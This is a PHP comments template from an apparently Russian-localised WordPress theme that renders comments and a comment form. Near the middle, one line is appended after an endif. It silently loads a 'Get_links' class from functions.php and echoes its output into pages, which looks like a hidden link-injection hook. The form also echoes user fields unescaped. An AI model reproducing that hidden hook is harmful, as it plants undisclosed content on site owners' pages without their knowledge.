<?php // Do not delete these lines
	if ('comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
		die ('Please do not load this page directly. Thanks!');

	if (!empty($post->post_password)) { // if there's a password
		if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) {  // and it doesn't match the cookie
			?>

			<p class="nocomments">Пожалуйста, введите пароль для просмотра комментариев.<p>

			<?php
			return;
		}
	}
	
	/* This variable is for alternating comment background */
	$oddcomment = 'class="alternate" ';
?>

<!-- You can start editing here. -->

<?php if ($comments) : ?>


	
	<ol id="commentlist">

	<?php foreach ($comments as $comment) : ?>

		<li id="comment-<?php comment_ID() ?>">
		
		<div class="commentcont">
							
			<?php comment_text() ?>
				
				<p>
					<?php if ($comment->comment_approved == '0') : ?>
				
					<em>Спасибо! Ваш отзыв ожидает проверки.</em>
					
					<?php endif; ?>
				</p>
		
		</div>
		
		<cite>
		
		<span class="commentauthor"><?php comment_author_link() ?></span> | <a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date('d M Y') ?>, <?php comment_time() ?></a> <?php edit_comment_link('править','| ',''); ?>						
		
		</cite>
		
		
		</li>
		
	<?php
	/* Changes every other comment to a different class */
	$oddcomment = ( empty( $oddcomment ) ) ? 'class="alternate" ' : '';
	?>

	<?php endforeach; /* end for each comment */ ?>

	</ol>

 <?php else : // this is displayed if there are no comments so far ?>

	<?php if ('open' == $post->comment_status) : ?>
		<!-- If comments are open, but there are no comments. -->

	 <?php else : // comments are closed ?>
		<!-- If comments are closed. -->
		<p class="none">К сожалению, комментарии закрыты.</p>

	<?php endif; ?>
<?php endif; ?><?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>


<?php if ('open' == $post->comment_status) : ?>

<div id="comment-form">

<h2 id="respond" class="post_comm2">Ваш отзыв</h2>

<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
<p>Вы должны <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php the_permalink(); ?>">войти</a>, чтобы оставлять комментарии.</p>

</div>
<?php else : ?>

<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">

<?php if ( $user_ID ) : ?>

<p>Вы вошли как <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="Выйти с этого аккаунта">Выйти &raquo;</a></p>

<?php else : ?>

<fieldset>

	<p>
		<label for="author" class="com">Имя <?php if ($req) echo "*"; ?></label>
		<input class="comtext" type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" />
	</p>

	<p>
		<label for="email" class="com">Почта <?php if ($req) echo "*"; ?></label>
		<input class="comtext" type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" />
	</p>

	<p>
		<label for="url" class="com">Сайт</label>
		<input class="comtext" type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" />
	</p>


<?php endif; ?>

<!--<p><small><strong>XHTML:</strong> Вы можете использовать следующие теги: <?php echo allowed_tags(); ?></small></p>-->

	<p>
		<label for="comment" class="com">Сообщение</label>
		<textarea class="comtext" name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea>
	</p>
	
</fieldset>

<fieldset>

	<p>
		<input name="submit" type="submit" id="submit" tabindex="5" class="comsubmit" value="Добавить" />
		<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
	</p>

<?php do_action('comment_form', $post->ID); ?>

</fieldset>

</form>

</div>

<?php endif; // If registration required and not logged in ?>

<?php endif; // if you delete this the sky will fall on your head ?>
